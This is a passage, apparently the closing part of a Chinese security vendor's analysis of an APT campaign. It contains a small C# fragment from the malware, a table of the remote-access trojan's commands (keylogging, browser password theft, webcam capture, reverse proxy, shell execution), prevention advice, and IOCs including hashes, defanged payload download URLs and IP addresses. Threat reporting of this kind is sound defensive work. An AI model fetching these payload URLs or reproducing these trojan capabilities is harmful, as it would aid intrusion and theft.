Array.Copy(payload, 0, array, this.HEADER_SIZE, payload.Length);
return array;
}
指令功能列表如下:
指令 | 功能 |
---|---|
GetAuthentication | 获取主机身份标志信息 |
DoDownloadAndExecute | 执行下载的EXE程序 |
DoUploadAndExecute | 执行上传 |
DoClientDisconnect | 客户端关闭连接 |
DoClientReconnect | 客户端重新连接 |
DoClientUninstall | 客户端卸载 |
DoAskElevate | 提升进程权限 |
GetDesktop | 获取桌面截图 |
GetWebcam | 使用摄像头拍摄 |
GetProcesses | 获取进程信息 |
DoProcessKill | 杀掉指定进程 |
DoWebcamStop | 停止摄像头拍摄 |
DoProcessStart | 启动进程 |
GetDrives | 获取驱动器信息 |
GetDirectory | 获取目录信息 |
DoDownloadFile | 下载文件 |
DoUploadFile | 上传文件 |
DoMouseEvent | 鼠标控制 |
DoKeyboardEvent | 键盘控制 |
GetSystemInfo | 获取系统信息 |
DoVisitWebsite | 访问指定站点 |
DoShowMessageBox | 显示消息框 |
DoClientUpdate | 客户端更新 |
GetWebcams | 获取网络摄像头信息 |
GetMonitors | 获取屏幕截图 |
DoShellExecute | 执行shell命令 |
DoPathRename | 路径重命名 |
DoPathDelete | 路径删除 |
DoShutdownAction | 关机 |
GetStartupItems | 获取启动项 |
DoStartupItemAdd | 添加启动项 |
DoStartupItemRemove | 删除启动项 |
DoDownloadFileCancel | 取消下载文件 |
DoLoadRegistryKey | 加载注册表项 |
DoCreateRegistryKey | 创建注册表项 |
DoDeleteRegistryKey | 删除注册表项 |
DoRenameRegistryKey | 重命名注册表项 |
DoCreateRegistryValue | 创建注册表键值 |
DoDeleteRegistryValue | 删除注册表键值 |
DoRenameRegistryValue | 重命名注册表键值 |
DoChangeRegistryValue | 更改注册表键值 |
GetKeyloggerLogs | 获取键盘日志 |
GetPasswords | 获取浏览器储存的密码 |
GetConnections | 获取连接 |
DoCloseConnection | 关闭连接 |
ReverseProxyConnect | 建立反向代理连接 |
ReverseProxyData | 接收反向代理数据 |
ReverseProxyDisconnect | 断开反向代理连接 |
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
E0CF0881DE0FE35732BB02C1F4DF02A3 D4BB07F5A9462612CD0E8A9290E27FC8 8F411A46490016AC5D126B83CEE65022 9D8C438B710B314B2DC2E003B2F177B7 3C687FB0A1921A53F9C607938F25FDD1
-
URL
hxxps://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t hxxps://drive.google.com/uc?export=download&id=1i5iaaCK6wjd3_liWZ5VpcXEi9NMlGWp7&confirm=t hxxps://drive.google.com/uc?export=download&id=17dzkPuJ-PAZFok58b9r73zdWpyrYAeI9&confirm=t
-
IPV4
1.234.41.14 115.21.139.222 121.160.252.1